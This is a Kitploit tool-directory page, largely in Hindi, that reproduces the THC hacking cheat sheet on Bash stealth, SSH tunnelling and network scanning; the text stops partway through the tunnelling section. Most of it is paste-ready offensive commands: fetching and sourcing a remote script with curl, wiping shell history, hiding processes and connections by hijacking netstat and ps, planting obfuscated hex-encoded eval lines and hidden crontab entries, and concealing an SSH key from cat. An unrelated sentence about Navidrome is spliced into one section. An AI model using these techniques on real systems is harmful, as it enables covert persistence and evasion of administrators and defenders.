Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
उपकरण/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

रिपॉजिटरी देखें
3.9k4711 महीना पहलेKitploit द्वारा समीक्षित

THC के पसंदीदा टिप्स, ट्रिक्स और हैक्स (चीट शीट)

https://thc.org/tips

हमारी पसंदीदा ट्रिक्स का संग्रह। उनमें से कई ट्रिक्स हमारी नहीं हैं। हम केवल उन्हें एकत्र करते हैं।

हम ट्रिक्स को 'जैसा-का-तैसा' दिखाते हैं, बिना किसी स्पष्टीकरण के कि वे क्यों काम करती हैं। यह समझने के लिए कि वे कैसे और क्यों काम करती हैं, आपको Linux का ज्ञान होना आवश्यक है।

ट्रिक्स हैं? हमसे जुड़ें https://thc.org/ops

  1. Bash
    1. हैक शेल सेट अप करें
    2. अपने कमांड छिपाएँ
    3. अपने कमांड लाइन विकल्प छिपाएँ
    4. नेटवर्क कनेक्शन छिपाएँ
    5. प्रोसेस को यूज़र के रूप में छिपाएँ
    6. प्रोसेस को रूट के रूप में छिपाएँ
    7. स्क्रिप्ट छिपाएँ
    8. cat से छिपाएँ
    9. अलग लॉगफाइल के साथ समानांतर में निष्पादित करें
  2. SSH
    1. लगभग अदृश्य SSH
    2. एक SSH/TCP कनेक्शन के माध्यम से कई शेल
    3. SSH टनल
    4. SSH SOCKS5 टनल
    5. NATed होस्ट के लिए SSH
    6. ProxyJump के माध्यम से SSH पिवट
    7. यूज़र के रूप में SSHD
  3. नेटवर्क
    1. होस्ट खोजें
    2. Tcpdump
    3. टनल और फ़ॉरवर्डिंग
      1. रॉ TCP रिवर्स पोर्ट्स
      2. HTTPS रिवर्स फ़ॉरवर्ड्स
      3. iptables के साथ ट्रैफ़िक बाउंस करना
      4. घोस्ट IP / IP स्पूफिंग
      5. विविध
    4. Socks प्रॉक्सी के माध्यम से किसी भी टूल का उपयोग करें
    5. अपना सार्वजनिक IP पता खोजें
    6. दुनिया भर से पहुँच की जाँच करें
    7. खुले पोर्ट जाँचें/स्कैन करें
    8. पासवर्ड हैश क्रैक करें
    9. पासवर्ड / कीज़ पर ब्रूट फोर्स करें
  4. डेटा अपलोड/डाउनलोड/एक्सफिल
    1. फ़ाइल एन्कोडिंग/डिकोडिंग
    2. cut & paste का उपयोग करके फ़ाइल स्थानांतरण
    3. tmux का उपयोग करके फ़ाइल स्थानांतरण
    4. screen का उपयोग करके फ़ाइल स्थानांतरण
    5. gs-netcat और sftp का उपयोग करके फ़ाइल स्थानांतरण
    6. HTTP का उपयोग करके फ़ाइल स्थानांतरण
    7. curl के बिना फ़ाइल डाउनलोड
    8. rsync का उपयोग करके फ़ाइल स्थानांतरण
    9. सार्वजनिक डंप साइटों पर फ़ाइल स्थानांतरण
    10. WebDAV का उपयोग करके फ़ाइल स्थानांतरण
    11. Telegram पर फ़ाइल स्थानांतरण
  5. रिवर्स शेल / डम्ब शेल
    1. रिवर्स शेल्स
      1. gs-netcat के साथ (एन्क्रिप्टेड)
      2. Bash के साथ
      3. cURL के साथ (एन्क्रिप्टेड)
      4. cURL के साथ (क्लियरटेक्स्ट)
      5. OpenSSL के साथ (एन्क्रिप्टेड)
      6. remote.moe के साथ (एन्क्रिप्टेड)
      7. /dev/tcp के बिना
      8. Python के साथ
      9. Perl के साथ
      10. PHP के साथ
    2. डम्ब शेल को अपग्रेड करना
      1. रिवर्स शेल को pty शेल में अपग्रेड करें
      2. रिवर्स शेल को पूर्णतः इंटरैक्टिव शेल में अपग्रेड करें
      3. socat के साथ रिवर्स शेल (पूर्णतः इंटरैक्टिव)
  6. बैकडोर्स
    1. gs-netcat
    2. sshx.io
    3. सबसे छोटा SSHD बैकडोर
    4. पूरे नेटवर्क को रिमोट एक्सेस करें
    5. सबसे छोटा PHP बैकडोर
    6. सबसे छोटा रिवर्स DNS-टनल बैकडोर
    7. लोकल रूट बैकडोर
    8. स्व-निकालने वाला इम्प्लांट
  7. होस्ट रिकॉन
  8. शेल हैक्स
    1. फ़ाइलों को श्रेड करें (सुरक्षित हटाना)
    2. फ़ाइल की तारीख पुनर्स्थापित करें
    3. लॉगफ़ाइल साफ़ करें
    4. रूट विशेषाधिकारों के बिना किसी उपयोगकर्ता से फ़ाइलें छिपाएँ
    5. फ़ाइल को अपरिवर्तनीय बनाएँ
    6. sudo/su के बिना उपयोगकर्ता बदलें
    7. पेलोड को ऑबफस्केट और क्रिप्ट करें
    8. फ़ाइल-सिस्टम को छुए बिना बैकडोर तैनात करना
  9. क्रिप्टो
    1. त्वरित रैंडम पासवर्ड उत्पन्न करें
    2. Linux परिवहन योग्य एन्क्रिप्टेड फाइलसिस्टम
      1. cryptsetup
      2. EncFS
    3. फ़ाइल को एन्क्रिप्ट करना
  10. सेशन स्निफिंग और हाइजैकिंग
    1. उपयोगकर्ता के SHELL सत्र को स्निफ़ करें
    2. dtrace के साथ सभी SHELL सत्रों को स्निफ़ करें
    3. eBPF के साथ सभी SHELL सत्रों को स्निफ़ करें
    4. strace के साथ उपयोगकर्ता के SSH या SSHD सत्र को स्निफ़ करें
    5. रैपर स्क्रिप्ट के साथ उपयोगकर्ता के आउटगोइंग SSH सत्र को स्निफ़ करें
    6. SSH-IT के साथ उपयोगकर्ता के आउटगोइंग SSH सत्र को स्निफ़ करें
    7. चल रहे SSH सत्र को हाइजैक / अपने कब्जे में लें
  11. VPN और शेल्स
    1. डिस्पोजेबल रूट सर्वर
    2. VPN/VPS प्रदाता
  12. OSINT खुफिया सूचना संग्रह
  13. विविध
    1. कार्य के उपकरण
    2. बेहतरीन Linux कमांड
    3. tmux चीट शीट
    4. उपयोगी कमांड
  14. हैकर कैसे बनें
  15. अन्य साइटें

1. Bash / शेल

1.i. हैक शेल सेट अप करें (bash):

BASH को कम शोरगत वाला बनाएँ। ~/.bash_history और कई अन्य चीज़ों को निष्क्रिय करता है।```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
वैकल्पिक URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

और अगर curl/wget नहीं है, तो surl और (अस्थायी रूप से) bin curl के साथ स्थापित curl का उपयोग करें।```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell बहुत कुछ और करता है, लेकिन सबसे महत्वपूर्ण बात यह है:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

हम anew का बहुत उपयोग करते हैं, और यह एक त्वरित समाधान है:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
बोनस टिप:
कोई भी कमांड जो " " (स्पेस) से शुरू होती है, वह भी [हिस्ट्री में लॉग नहीं होगी](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)।```
$  id

1.ii. अपना कमांड छिपाएँ / अपने कमांड को डेमोनाइज़ करें

यह केवल प्रोसेस नाम को छिपाएगा. कमांड लाइन विकल्पों को भी छिपाने के लिए zapper का उपयोग करें.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
बैकग्राउंड में एक 'nmap' को '/usr/sbin/sshd' के रूप में छिपाकर प्रारंभ करें:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

GNU screen के भीतर शुरू करें:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
वैकल्पिक रूप से, बाइनरी को नए नाम से कॉपी करें:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

या bind-mount का उपयोग करके (अस्थायी रूप से) /sbin/init को इसके बजाय /dev/shm/nmap की ओर इंगित करने दें:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. अपने कमांड लाइन विकल्प छिपाएँ**

[zapper](https://github.com/hackerschoice/zapper) का उपयोग करें:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

Navidrome का अंतर्निहित Transcoding उपयोगकर्ताओं को मीडिया फ़ाइलों को ऑन-द-फ्लाई उन प्रारूपों में बदलने की सुविधा देता है जो```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. नेटवर्क कनेक्शन छिपाना**

ट्रिक यह है कि `netstat` को हाईजैक करें और अपने कनेक्शन को फ़िल्टर करने के लिए grep का उपयोग करें। यह उदाहरण पोर्ट 31337 _या_ आईपी 1.2.3.4 पर किसी भी कनेक्शन को फ़िल्टर करता है। यही `ss` (एक netstat विकल्प) के लिए भी किया जाना चाहिए।

**विधि 1 - ~/.bashrc में bash-फ़ंक्शन के साथ कनेक्शन छिपाना**

~/.bashrc में लाइन जोड़ने के लिए इसे काटें और पेस्ट करें```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

या इसे /.bashrc में एक अस्पष्ट प्रविष्टि के लिए कट और पेस्ट करें:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
~/.bashrc के लिए अस्पष्ट प्रविष्टि इस प्रकार दिखेगी:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

विधि 2 - $PATH में एक बाइनरी के ज़रिए कनेक्शन छिपाना

/usr/local/sbin में एक नकली netstat बाइनरी बनाएँ। डिफ़ॉल्ट Debian (और अधिकांश Linux) पर PATH वेरिएबल (echo $PATH) /usr/local/sbin को /usr/bin से पहले सूचीबद्ध करता है। इसका मतलब है कि हमारा हाईजैकिंग बाइनरी /usr/local/sbin/netstat, /usr/bin/netstat के बजाय निष्पादित किया जाएगा।```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(धन्यवाद iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. एक प्रक्रिया को उपयोगकर्ता के रूप में छिपाएँ**

"Hiding a connection" से आगे बढ़ते हुए, उसी तकनीक का उपयोग किसी प्रक्रिया को छिपाने के लिए किया जा सकता है। यह उदाहरण nmap प्रक्रिया को छिपाता है और साथ ही यह भी ध्यान रखता है कि हमारा `grep` प्रक्रिया सूची में दिखाई न दे, उसे GREP में नाम बदलकर:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. रूट के रूप में एक प्रोसेस छिपाएँ

इसके लिए रूट विशेषाधिकार की आवश्यकता होती है और यह /proc/<pid> को एक बेकार डायरेक्टरी के साथ ओवर-माउंट करने की एक पुरानी Linux तरकीब है:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
कमांड छिपाने के लिए उपयोग करें:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(thanks to druichi for improving this)

1.vii. शेल स्क्रिप्ट छिपाएँ

ऊपर हमने चर्चा की कि ~/.bashrc में एक पंक्ति को कैसे अस्पष्ट किया जाए। एक अक्सर इस्तेमाल की जाने वाली ट्रिक है इसके बजाय source का उपयोग करना। source कमांड को . (हाँ, एक डॉट) तक छोटा किया जा सकता है और यह लोड करने के लिए फ़ाइल खोजने हेतु $PATH वेरिएबल में भी खोजता है।

इस उदाहरण में हमारी स्क्रिप्ट prng में ऊपर के हमारे सभी शेल फ़ंक्शन शामिल हैं। वे फ़ंक्शन nmap प्रक्रिया और नेटवर्क कनेक्शन को छिपाते हैं। अंत में हम सिस्टम-व्यापी rc फ़ाइल में . prng जोड़ते हैं। यह उपयोगकर्ता (और रूट) के लॉग इन करने पर prng को लोड करेगा:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(यही बात `lsof`, `ss` और `ls` पर भी लागू होती है)

<a id="cat"></a>
**1.viii. cat से छिपाना**

ANSI escape वर्ण या एक साधारण `\r` ([कैरिज रिटर्न](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) का उपयोग `cat` और अन्य से छिपाने के लिए किया जा सकता है।

`~/.bashrc` में अंतिम कमांड (उदाहरण: `id`) छिपाएँ:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

एक छिपी हुई crontab लाइन जोड़ें:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
`\r` (कैरिज रिटर्न) जोड़ना आपकी ssh कुंजी को `cat` से छिपाने में काफी कारगर साबित होता है:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. अलग-अलग लॉगफ़ाइलों के साथ समानांतर रूप से निष्पादित करें*

नोट: यही काम parallel से भी किया जा सकता है।

20 समानांतर कार्यों के साथ होस्ट स्कैन करें:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` का उपयोग अंतर्निहित शेल को अंतिम प्रक्रिया (nmap) से बदलने के लिए किया जाता है। यह वैकल्पिक है लेकिन चल रहे/अनुपयोगी शेल बाइनरी की संख्या कम कर देता है।
- `${SLOT}` में 0..19 के बीच एक मान होता है। यह "कार्य संख्या" है। हम इसका उपयोग nmap-परिणामों को 20 अलग-अलग फ़ाइलों में लिखने के लिए करते हैं।

40 वर्कर्स का उपयोग करके सभी [gsocket](https://www.gsocket.io/deploy) होस्ट्स पर [Linpeas](https://github.com/carlospolop/PEASS-ng) निष्पादित करें:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. लगभग अदृश्य SSH

आपको w या who कमांड में दिखाई देने से रोकता है और होस्ट को ~/.ssh/known_hosts में लॉग होने से रोकता है।```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
PTY और रंगों के साथ पूर्ण आराम का अनुभव करें: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(देखें Hackshell)

2.ii एक SSH/TCP कनेक्शन के माध्यम से एकाधिक शेल

लक्ष्य के लिए एक TCP कनेक्शन रखें और कई उपयोगकर्ताओं को आगे शेल सत्र खोलने के लिए उसी TCP कनेक्शन पर पिगीबैक करने दें।

मास्टर कनेक्शन बनाएं:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
ऊपर दिए गए उसी (एकल) Master-TCP कनेक्शन का उपयोग करके आगे shell-sessions बनाएँ (कोई पासवर्ड/auth आवश्यक नहीं):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

utmp से छिपने के लिए इसे xssh के साथ जोड़ा जा सकता है।

2.iii SSH टनल

स्थानीय फ़ायरवॉल और IP फ़िल्टरिंग को बायपास करने के लिए हम इसका उपयोग हर समय करते हैं:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
अब आप या कोई और आपके कंप्यूटर से पोर्ट 31337 पर कनेक्ट कर सकता है और 1.2.3.4 पोर्ट 80 पर टनल हो सकता है तथा 'server.org' के स्रोत IP के साथ प्रकट हो सकता है। बिना सर्वर की आवश्यकता के एक विकल्प [gs-netcat](#backdoor-network) का उपयोग करना है।

चतुर हैकर्स इन टनलों को बिना SSH को दोबारा कनेक्ट किए गतिशील रूप से बनाने के लिए कीबोर्ड संयोजन `~C` का उपयोग करते हैं। (धन्यवाद MessedeDegod)।

हम इसका उपयोग किसी मित्र को उस आंतरिक मशीन तक पहुंच देने के लिए करते हैं जो सार्वजनिक इंटरनेट पर नहीं है:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Anyone connecting to server.org:31338 से जुड़ने वाला कोई भी व्यक्ति आपके कंप्यूटर के माध्यम से पोर्ट 80 पर 192.168.0.5 तक टनल हो जाएगा। एक विकल्प जिसमें सर्वर की आवश्यकता नहीं होती, वह है gs-netcat का उपयोग करना।

2.iv SSH socks4/5 टनल

OpenSSH 7.6 डायनेमिक फ़ॉरवर्डिंग के लिए socks समर्थन जोड़ता है। उदाहरण: अपने ब्राउज़र के सभी ट्रैफ़िक को अपने सर्वर के माध्यम से टनल करें।```sh ssh -D 1080 [email protected]

root@kitploit:~
अब अपने ब्राउज़र को 127.0.0.1:1080 पर SOCKS उपयोग करने के लिए कॉन्फ़िगर करें। आपका सारा ट्रैफ़िक अब *server.org* के माध्यम से टनल होगा और *server.org* के स्रोत IP के साथ दिखाई देगा। एक विकल्प, जिसमें किसी सर्वर की आवश्यकता नहीं होती, [gs-netcat](#backdoor-network) का उपयोग करना है।

यह उपरोक्त उदाहरण का उल्टा है। यह दूसरों को आपके *स्थानीय* नेटवर्क तक पहुँच प्रदान करता है या दूसरों को आपके कंप्यूटर को टनल एंड-पॉइंट के रूप में उपयोग करने देता है।```sh
ssh -g -R 1080 [email protected]

अन्य लोग server.org:1080 को अपने SOCKS4/5 प्रॉक्सी के रूप में कॉन्फ़िगर करते हैं। वे अब किसी भी पोर्ट पर मौजूद किसी भी कंप्यूटर से कनेक्ट कर सकते हैं, जिस तक आपका कंप्यूटर पहुंच रखता है। इसमें आपके फ़ायरवॉल के पीछे स्थित और आपके लोकल नेटवर्क पर मौजूद कंप्यूटरों तक पहुंच शामिल है। एक विकल्प, और बिना सर्वर की आवश्यकता के, gs-netcat का उपयोग करना है।

2.v NAT के पीछे स्थित होस्ट के लिए SSH

ssh-j.com एक बेहतरीन रिले सेवा प्रदान करता है: NAT/फ़ायरवॉल के पीछे स्थित किसी होस्ट तक (SSH के माध्यम से) पहुँचने के लिए।

NAT के पीछे वाले होस्ट पर: ssh-j.com के लिए एक रिवर्स SSH टनल इस प्रकार बनाएँ:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
फिर दुनिया में कहीं और से इस कमांड का उपयोग करके 'root' के रूप में 'foobarblahblub' (NAT के पीछे स्थित होस्ट) से कनेक्ट करें:```sh
ssh -J [email protected] root@foobarblahblub

The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.

2.vi कई सर्वरों तक SSH पिवोटिंग

SSH ProxyJump, रिमोट सर्वरों के साथ काम करते समय आपका काफी समय और परेशानी बचा सकता है। चलिए एक परिदृश्य मान लेते हैं:

हमारा वर्कस्टेशन $local-kali है और हम $target-host में SSH करना चाहते हैं। हमारे वर्कस्टेशन और $target-host के बीच कोई सीधा कनेक्शन नहीं है। हमारा वर्कस्टेशन केवल $C2 तक पहुंच सकता है। $C2 $internal-jumphost तक पहुंच सकता है (आंतरिक eth1 के माध्यम से) और $internal-jumphost अंतिम $target-host तक eth2 के माध्यम से पहुंच सकता है।```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> हम किसी भी कंप्यूटर पर `ssh` नहीं चलाते, केवल अपने विश्वसनीय वर्कस्टेशन पर - और न ही आपको (कभी) चलाना चाहिए।

यहीं ProxyJump मदद करता है: हम दो मध्यवर्ती सर्वरों $C2 और $internal-jumphost के माध्यम से 'कूद' सकते हैं (उन सर्वरों पर शेल शुरू किए बिना)। ssh-कनेक्शन हमारे $local-kali और $target-host के बीच एंड-2-एंड एन्क्रिप्टेड होता है और कोई पासवर्ड या कुंजी $C2 या $internal-jumphost को उजागर नहीं होती।```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

हम इसका उपयोग सर्वरों में लॉगिन करते समय अपना IP पता छिपाने के लिए भी करते हैं।

2.vii यूज़र लैंड में SSHD

रूट-रहित उपयोगकर्ता के रूप में SSHD सर्वर शुरू करना संभव है, और इसका उपयोग TCP कनेक्शन को मल्टीप्लेक्स या फ़ॉरवर्ड करने (बिना लॉगिंग के और जब सिस्टम-वाइड SSHD फ़ॉरवर्डिंग/मल्टीप्लेक्सिंग को मना करता है) या एक त्वरित एक्सफ़िल-डंप-सर्वर के रूप में करना संभव है जो रूट-रहित चलता है:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF TCP को TLS पर मल्टीप्लेक्स करने का एक वैकल्पिक तरीका है।


3. नेटवर्क

3.i. होस्ट खोजें```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
यदि आप डेबियन-आधारित सिस्टम पर हैं, तो आप बस चला सकते हैं:```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

Please provide the Markdown content to translate.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. टनल और फ़ॉरवर्डिंग```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
इनपुट:```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a रॉ TCP रिवर्स पोर्ट्स

रिवर्स बैकडोर के लिए उपयोगी, जिन्हें पब्लिक IP एड्रेस पर TCP पोर्ट की आवश्यकता होती है:

segfault.net (मुफ्त) का उपयोग करें:```sh

Request a random public TCP port:

